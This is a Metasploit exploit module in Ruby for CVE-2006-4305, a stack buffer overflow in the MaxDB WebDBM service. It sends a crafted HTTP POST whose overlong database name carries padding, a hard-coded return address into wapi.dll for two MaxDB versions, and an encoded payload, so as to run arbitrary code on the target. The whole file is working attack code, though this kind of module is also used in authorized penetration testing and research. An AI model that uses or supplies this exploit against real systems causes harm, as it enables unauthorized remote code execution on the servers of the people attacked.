MaxDB WebDBM Database Parameter Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MaxDB WebDBM Database Parameter Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the MaxDB WebDBM
        service. By sending a specially-crafted HTTP request that contains
        an overly long database name. A remote attacker could overflow a buffer
        and execute arbitrary code on the system with privileges of the wahttp process.

        This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-4305'],
          ['OSVDB', '28300'],
          ['BID', '19660'],
        ],
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread',
      },

      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
          [ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-08-29'))

    register_options( [ Opt::RPORT(9999) ])
  end

  def exploit
    connect

    server = rand_text_english(5, payload_badchars)
    user   = rand_text_english(5, payload_badchars)
    pass   = rand_text_english(5, payload_badchars)
    port   = rand(65535).to_s

    sploit =  rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
    sploit << payload.encoded

    req    =  "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
    req    << "&User=#{user}&Password=#{pass}"

    res    =  "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
    res    << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

    print_status("Trying target %s..." % target.name)

    sock.put(res)

    #give wahttp.exe a bit to recover...
    select(nil,nil,nil,2)

    handler
    disconnect
  end
end